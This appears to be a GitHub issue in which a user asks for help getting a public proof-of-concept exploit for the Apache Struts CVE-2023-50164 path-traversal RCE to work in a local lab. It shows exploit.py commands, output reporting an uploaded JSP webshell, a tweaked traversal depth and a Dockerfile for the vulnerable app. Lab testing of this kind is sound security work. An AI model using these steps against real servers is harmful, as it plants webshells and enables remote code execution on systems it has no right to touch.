A critical security vulnerability, identified as CVE-2023-50164 (CVE: 9.8) was found in Apache Struts, allowing attackers to manipulate file upload parameters that can potentially lead to unauthorized path traversal and remote code execution (RCE).
Hello @jakabakos,
Thank you for creating this test exploit. I followed all your steps but I am not getting the shell. It keeps on failing at "Maximum attempts reached. Exiting..."
What I have tried so Far:
Ran application using:
┌──(kali㉿kali)-[~/CVE-2023-50164-Apache-Struts-RCE/struts-app]
└─$ sudo mvn jetty:run
┌──(kali㉿kali)-[~/CVE-2023-50164-Apache-Struts-RCE/exploit]
└─$ python exploit.py --url http://0.0.0.0:9999/upload/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://0.0.0.0:9999/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[-] Maximum attempts reached. Exiting...
Then on the recommendation on sepe81@fda7a6d and @sepe81,
Created a DOCKERFILE and changed
NUMBER_OF_PARENTS_IN_PATH to 5 and CATALINA_HOME = "/usr/local/tomcat/"
DOCKERFILE:
FROM tomcat:9.0.84-jre21-temurin-jammy
WORKDIR $CATALINA_HOME/webapps
ADD struts-app/target/upload-1.0.0.war ROOT.war
EXPOSE 8080
CMD ["catalina.sh", "run"]
sudo docker build -t exploitable -f DOCKERFILE .
sudo docker run -p 8080:8080 exploitable
After running the exploit on Docker app, still getting same error:
┌──(kali㉿kali)-[~/CVE-2023-50164-Apache-Struts-RCE/exploit]
└─$ python exploit.py --url http://localhost:8080/upload.action

[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://localhost:8080/webshell/webshell.jsp?cmd=<COMMAND>

Furthermore, I have tried to exploit it manually and its still not uploading the file.
here is the payload I used in Burp:

I would be very thankful if you can let me know what mistake I am making here or any thing I am missing before running this exploit. Thank you.
